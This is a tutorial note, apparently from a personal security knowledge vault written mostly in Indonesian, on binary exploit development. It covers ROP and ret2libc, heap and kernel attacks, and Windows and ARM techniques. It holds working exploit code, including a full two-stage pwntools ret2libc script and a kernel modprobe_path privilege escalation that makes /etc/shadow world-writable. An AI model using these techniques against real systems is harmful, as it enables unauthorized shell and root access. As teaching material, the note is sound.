Ringkasan & Hubungan ke Vault
Exploit development adalah jembatan antara vulnerability discovery (fuzzing/RE) dan red team operations (C2, lateral movement). Catatan ini melengkapi fuzzing-vulnerability-research dengan fase post-finding: dari crash → kontrol RIP → arbitrary code execution. Berbeda dengan malware-analysis-reverse-engineering-playbook yang fokus analysis, catatan ini fokus pembangunan exploit .
Domain: Cyber Security / Exploit Development
Tags: exploit-dev rop heap kernel-exploit pwn binary-exploitation
Daftar Isi
Stack Buffer Overflow
ROP — Return-Oriented Programming
Bypassing Protections (ASLR, NX, Stack Canary)
Heap Exploitation
Kernel Exploitation
Windows Exploit Development
ARM Exploit Development
Exploit Workflow & Methodology
Koneksi ke Vault
1. Stack Buffer Overflow
1.1 Stack Layout
Stack (high → low address)
┌─────────────────────────┐ 0x7fffffffffff
│ Arguments │
├─────────────────────────┤
│ Return Address (RIP) │ ← Attacker overwrites this
├─────────────────────────┤
│ Saved RBP │
├─────────────────────────┤
│ Local Variable 1 │ ← buf[64]
│ Local Variable 2 │
│ ... │
├─────────────────────────┤
│ Stack Frame │
└─────────────────────────┘ 0x7fffffffe000
1.2 Simple Stack Overflow (ret2win)
// Vulnerable program
#include <stdio.h>
#include <string.h>
void win () {
system ( "/bin/sh" ); // Target function
}
void vulnerable () {
char buf [ 64 ];
gets (buf); // TRV-1: no bounds check
}
int main () {
vulnerable ();
return 0 ;
}
# Exploit — simple ret2win
from pwn import *
p = process( './vuln' )
# Offset: 64 (buf) + 8 (saved RBP) = 72
offset = 72
payload = b 'A' * offset + p64(elf.symbols[ 'win' ])
p.sendline(payload)
p.interactive()
1.3 Finding Offset — Pattern
# Generate cyclic pattern
gef➤ pattern create 200
AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAAZAAAbAAAcAAdAAeAAfAAAgAAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAz
# Crash → note RIP value
# Pattern search
gef➤ pattern search $rip
[+] Searching for '0x4141414141414141'
[+] Found at offset: 72
2. ROP — Return-Oriented Programming
2.1 Kenapa ROP?
Masalah: NX/DEP (Non-Executable Stack) mencegah lo mengeksekusi shellcode di stack.
Solusi: ROP — reuse gadget (sequences instruksi yang diakhiri ret) dari binary/library yang executable. Setiap gadget melakukan satu operasi kecil, chain-nya diatur dari stack.
Stack (RIP-controlled):
┌────────────────────┐
│ pop rdi; ret │ → 0x400123
├────────────────────┤
│ 0xdeadbeef │ → nilai untuk rdi
├────────────────────┤
│ system() │ → 0x7ffff7xxxx
├────────────────────┤
│ exit() │ → 0x7ffff7yyyy
└────────────────────┘
2.2 Finding Gadgets
# ROPgadget — find gadgets in binary/library
ROPgadget --binary vuln | grep "pop rdi"
0x0000000000400123 : pop rdi ; ret
# One_gadget — find execve("/bin/sh") gadgets in libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe6c7e execve ( "/bin/sh" , r15, r12 )
0xe6c81 execve ( "/bin/sh" , r15, rdx )
0xe6c84 execve ( "/bin/sh" , rsi, rdx )
# ropper — alternative
ropper --file vuln --search "pop rdi"
2.3 Building a ROP Chain
from pwn import *
elf = ELF( './vuln' )
libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' )
# Gadgets
pop_rdi = 0x 401283 # pop rdi; ret
ret = 0x 401016 # ret (stack alignment!)
def exploit (leak):
"""ROP chain: execve('/bin/sh', NULL, NULL)"""
# Find libc base from leak
libc.address = leak - libc.symbols[ 'puts' ]
payload = b 'A' * 72
# Stack alignment (16-byte required by movaps)
payload += p64(ret)
# system("/bin/sh")
payload += p64(pop_rdi)
payload += p64( next (libc.search( b '/bin/sh' )))
payload += p64(libc.symbols[ 'system' ])
return payload
2.4 Ret2libc — Full Chain
Phase 1: Leak libc address
puts(puts@GOT) → leak → compute libc base
Phase 2: ROP to shell
system("/bin/sh")
# Phase 1: Leak
payload = b 'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got[ 'puts' ])
payload += p64(elf.plt[ 'puts' ])
payload += p64(main_addr) # Return to main for phase 2
p.sendline(payload)
leak = u64(p.recvline().strip().ljust( 8 , b ' \x00 ' ))
2.5 SROP (Sigreturn-Oriented Programming)
Teknik untuk setting semua register sekaligus via sigreturn syscall:
# SROP: set all registers via sigreturn frame
frame = SigreturnFrame()
frame.rax = constants. SYS_execve
frame.rdi = bin_sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = b 'A' * offset
payload += p64(syscall_inst) # syscall
payload += bytes (frame) # SigreturnFrame
3. Bypassing Protections
3.1 Protection Mapping
Protection Role Bypass Technique NX/DEP Stack non-executable ROP, ret2libc ASLR Randomize base addresses Information leak Stack Canary Detect stack overflow Leak canary, overwrite before check PIE Randomize binary base Partial overwrite, leak RELRO Protect GOT Partial overwrite, off-by-one CFI Control-flow integrity Data-only attack
3.2 Bypass ASLR
# Technique: partial overwrite
# Return address overwrite only lower 1-2 bytes
# Since ASLR randomizes HIGH bits, lower bits fixed
# Example: partial overwrite of puts@GOT
# GOT_puts original: 0x7f1234567890
# Overwrite: 0x7f12345678**??** (2 bytes partial)
3.3 Bypass Stack Canary
// Canary check
void vulnerable () {
char buf [ 64 ];
// Canary = *(fs:0x28)
memcpy (buf, user_input, 128 ); // overflow
// Check: canary == *(fs:0x28)? → crash if mismatch
}
If lo punya format string vulnerability + overflow:
Leak canary via format string (%13$p)
Overflow dengan canary value yang benar
Padding → ROP chain
3.4 Bypass RELRO (Partial vs Full)
RELRO Level GOT Protection Bypass No RELRO GOT writable GOT overwrite Partial RELRO GOT writable, sections read-only Still writable! Full RELRO GOT read-only Need: _IO_file_jump overwrite, __free_hook, __malloc_hook
4. Heap Exploitation
4.1 Heap Layout
┌──────────────────────────────────────┐
│ glibc Heap Layout │
├──────────────────────────────────────┤
│ Top Chunk (wilderness) │
├──────────────────────────────────────┤
│ Tcache (per-thread cache) │
│ ┌─────┬─────┬─────┬─────┬─────┐ │
│ │ 0x20│ 0x30│ 0x40│ 0x50│ ... │ │
│ └─────┴─────┴─────┴─────┴─────┘ │
├──────────────────────────────────────┤
│ Fastbins (LIFO, single-linked) │
├──────────────────────────────────────┤
│ Small Bins (FIFO, doubly-linked) │
├──────────────────────────────────────┤
│ Unsorted Bin │
├──────────────────────────────────────┤
│ Allocated Chunks │
│ ┌──────────┬──────────┬──────────┐ │
│ │ chunk A │ chunk B │ chunk C │ │
│ │ (64B) │ (128B) │ (64B) │ │
│ └──────────┴──────────┴──────────┘ │
└──────────────────────────────────────┘
4.2 Chunk Structure
┌────────────────────────────┐
│ prev_size (8B) │ ← only if previous chunk free
├────────────────────────────┤
│ size (8B) │ ← chunk size + flags (P/M/A)
│ [P=prev in use, M=mmap, │
│ A=non-main-arena] │
├────────────────────────────┤
│ user data │ ← returned by malloc()
│ (fd/bk jika free) │
│ ... │
└────────────────────────────┘
4.3 Use-After-Free (UAF)
char * buf = malloc ( 64 );
free (buf);
// buf is dangling pointer!
strcpy (buf, "attacker data" ); // WRITE to freed chunk
# UAF exploit tcache poisoning
from pwn import *
# Allocate 3 chunks
a = malloc( 0x 28 ) # chunk A
b = malloc( 0x 28 ) # chunk B
c = malloc( 0x 28 ) # chunk C
# Free A → masuk tcache (0x30 bin)
free(a)
# Free B → masuk tcache (0x30 bin)
free(b)
# UAF: write to freed A
# Since A is in tcache, fd pointer = next chunk (B or NULL)
write(a, p64(target_addr)) # Poison fd → point to target
# Now: malloc returns A (head of tcache)
x = malloc( 0x 28 ) # returns A's address
y = malloc( 0x 28 ) # returns B's address (or whatever fd points to)
z = malloc( 0x 28 ) # returns TARGET_ADDR! Arbitrary write!
write(z, p64(shell_addr))
4.4 Key Heap Attacks per glibc Version
glibc Attack Notes < 2.26 Fastbin attack, House of Force No tcache 2.26 Tcache poisoning Tcache introduced 2.31 Tcache poisoning + double free Tcache double-free check bypass 2.32 Safe linking (pointer masking) Pointer XOR dengan >>12 2.34 Removed hooks! No __free_hook/__malloc_hook — need FSOP 2.37+ FSOP + House of Apple File stream oriented
4.5 House of Force (Legacy)
# Overwrite top chunk size → malloc return arbitrary address
# glibc < 2.29
top_chunk_size = 0x ffffffffffffffff # Max size
write(vuln, p64(top_chunk_size))
# Next malloc: allocate from top chunk → return near arbitrary address
target = 0x7ffff7xxxxxx
size_to_target = target - (current_top + 0x 20 )
malloc(size_to_target)
# Now next malloc returns target address!
5. Kernel Exploitation
5.1 Kernel vs Userspace Exploit
Aspect Userspace Kernel Privilege User (ring 3) Root (ring 0 → ring 3 escape) Memory Virtual only Physical + virtual Syscall Trigger bug via syscall interface Bug inside kernel code Payload Code execution Privilege escalation (root shell)Mitigation ASLR, NX, canary KASLR, SMEP, SMAP, KPTI
5.2 Kernel Exploit Vectors
Kernel Attack Surface
├── Syscall handler bug (buffer overflow, UAF, OOB)
├── ioctl driver bug (device driver)
├── Network stack bug (complex parsers)
├── File system bug (mount, filesystem operations)
├── BPF bug (eBPF verifier confusion)
├── Driver vulnerability (GPU, Wi-Fi, Bluetooth)
└── Hardware bug (Rowhammer, Spectre, Meltdown)
5.3 Classic: modprobe_path (Privesc)
// modprobe_path — writable string in kernel memory
// Pointer to binary executed when unknown file type is executed
// 1. Get kernel address of modprobe_path
uint64_t modprobe_path = find_sym ( "modprobe_path" );
// 2. Overwrite with path to our script
char * script = "/tmp/hack.sh" ;
kernel_write (modprobe_path, script);
// 3. Create script
system ( "echo '#!/bin/sh \n chmod 777 /etc/shadow' > /tmp/hack.sh" );
system ( "chmod +x /tmp/hack.sh" );
// 4. Execute unknown file type → kernel executes modprobe_path
system ( "echo ' \\ xff \\ xff \\ xff' > /tmp/test.bin && chmod +x /tmp/test.bin" );
system ( "/tmp/test.bin" );
5.4 Dirty Pipe (CVE-2022-0847)
# Dirty Pipe: overwrite read-only files via pipe buffer
# Stable kernel 5.8 - 5.16.11, 5.15.25-5.15.25
# 1. Create pipe
# 2. Fill pipe with data from target file (e.g., /etc/passwd)
# 3. Manipulate pipe buffer flags → splice() bypasses page-cache
# 4. Overwrite /etc/passwd → remove root password
5.5 Kernel Mitigations
Mitigation Bypass KASLR Information leak (dmesg, /proc/kallsyms), timing side-channel SMEP Kernel doesn’t execute userspace code → need ROP in kernel SMAP Kernel doesn’t access userspace data → pin_user_pages() KPTI Kernel/User page table isolation → meltdown-style leak gak work CFI (kCFI) Control flow integrity in kernel → data-only attack
6. Windows Exploit Development
6.1 Windows vs Linux Exploit Differences
Aspect Linux Windows Syscall int 0x80 / sysentersyscall via ntdllLibrary libc (open source) ntdll, kernel32 (closed source) Shellcode /bin/shWinExec, CreateProcess ASLR Low entropy (old) High entropy (per-boot) Canary Stack guard /GS compiler optionSEH ❌ No ✅ Structured Exception Handling DEP NX bit /NXCOMPAT
6.2 SEH Overflow
# Windows SEH overwrite exploit
# If program uses try/except, overwrite Exception Handler
payload = b 'A' * offset
payload += p32(next_seh) # Address of "pop pop ret" gadget
payload += p32(shell_addr) # Address of shellcode
payload += b ' \x90 ' * 8 # NOP sled
payload += shellcode
6.3 Windows Heap Spray
# Classic IE exploitation: spray heap with JIT spray
# Shellcode encoded in JavaScript float arrays
javascript = """
var shellcode = [];
for (var i = 0; i < 0x1000; i++) {
// Each float = 4 bytes of instructions
shellcode[i] = 0x12345678 + i; // JIT compile → executable
}
// Spray across 200MB heap
var spray = [];
for (var i = 0; i < 500; i++) {
spray[i] = document.createElement('div');
spray[i].className = String.fromCharCode.apply(null, shellcode);
}
"""
7. ARM Exploit Development
7.1 ARM vs x86-64
Aspect x86-64 ARM64 (AArch64) Register 16 (rax-rip) 31 (x0-x30) Return retret (x30 as link register)Syscall syscall (eax)svc #0 (x8)Gadgets Rich (vast ecosystem) Limited (fewer gadgets) Stack layout Similar 16-byte alignment Shellcode Standard Need ARM shellcode
7.2 ARM64 Gadget Chain
# ARM64 ROP chain: execve("/bin/sh", NULL, NULL)
# Registers: x0=arg1, x1=arg2, x2=arg3, x8=syscall_nr
payload = b 'A' * offset
payload += p64(gadget_load_x0) # ldr x0, [sp, #offset]; ret
payload += p64(bin_sh_addr) # x0 = "/bin/sh"
payload += p64(gadget_load_x1) # mov x1, #0; ret
payload += p64(gadget_load_x2) # mov x2, #0; ret
payload += p64(gadget_mov_x8_221) # x8 = 221 (execve sys_nr on ARM64)
payload += p64(svc_addr) # svc #0
8. Exploit Workflow & Methodology
8.1 Standard Exploit Development Flow
1. RECON
├── File type & architecture (file vuln)
├── Security mitigations (checksec)
├── Reversing binary (Ghidra/IDA)
└── Identify entry points (fgets, gets, read, memcpy, strcpy)
2. TRIGGER
├── Confirm crash (GDB)
├── Find offset (cyclic pattern)
└── Control RIP/EIP
↓
3. BYPASS
├── NX → ROP
├── ASLR → Information leak
├── Canary → Leak or thread-local overwrite
├── PIE → Partial overwrite
└── RELRO → Full RELRO? → __free_hook / FSOP
↓
4. BUILD
├── Find gadgets (ROPgadget/ropper)
├── Build chain
├── Get shell or arbitrary read/write
└── Test locally → Test remote
↓
5. ESCALATE (if needed)
├── Local → Root (kernel exploit)
└── Remote shell → Pivot internal network
#!/usr/bin/env python3
from pwn import *
# Config
context.arch = 'amd64'
context.log_level = 'debug'
# Target
if args. REMOTE :
p = remote( 'target.com' , 1337 )
elif args. GDB :
p = gdb.debug( './vuln' , '''
b *vulnerable+32
continue
''' )
else :
p = process( './vuln' )
# ELF
elf = ELF( './vuln' )
libc = ELF( './libc.so.6' )
# Gadgets
pop_rdi = 0x 401283
ret = 0x 401016
# Exploit
payload = b 'A' * 72
payload += p64(pop_rdi)
payload += p64(elf.got[ 'puts' ])
payload += p64(elf.plt[ 'puts' ])
payload += p64(elf.symbols[ 'main' ])
p.sendline(payload)
# Leak
leak = u64(p.recvline().strip().ljust( 8 , b ' \x00 ' ))
log.success( f "libc leak: {hex (leak) } " )
libc.address = leak - libc.symbols[ 'puts' ]
# Phase 2
payload2 = b 'A' * 72
payload2 += p64(ret) # stack alignment
payload2 += p64(pop_rdi)
payload2 += p64( next (libc.search( b '/bin/sh' )))
payload2 += p64(libc.symbols[ 'system' ])
p.sendline(payload2)
p.interactive()
8.3 CTF vs Real-World Exploitation
Aspect CTF Real-World Target Simple, one vulnerability Complex, chained Mitigations Often partial (no ASLR, no PIE) All mitigations enabled Binary Designed to be exploited Accidental (defended) Shellcode Work first time Anti-virus kill it Network Direct connection Sandbox, WAF, IDS Time Win in hours Win in months Stability ”Works on my machine” Must be stable (no crash)
9. Koneksi ke Vault
📚 Referensi
“The Shellcoder’s Handbook” — Anley, Heasman, Linder, Richarte
“Hacking: The Art of Exploitation” — Jon Erickson
“A Guide to Kernel Exploitation” — Perla, Oldani
“Practical Binary Analysis” — Dennis Andriesse
pwntools documentation: https://docs.pwntools.com/
Nightmare (CTF exploit course): https://github.com/guyinatuxedo/nightmare
ROP Emporium: https://ropemporium.com/
Kernel exploit technique writeups: https://www.kernel-exploits.com/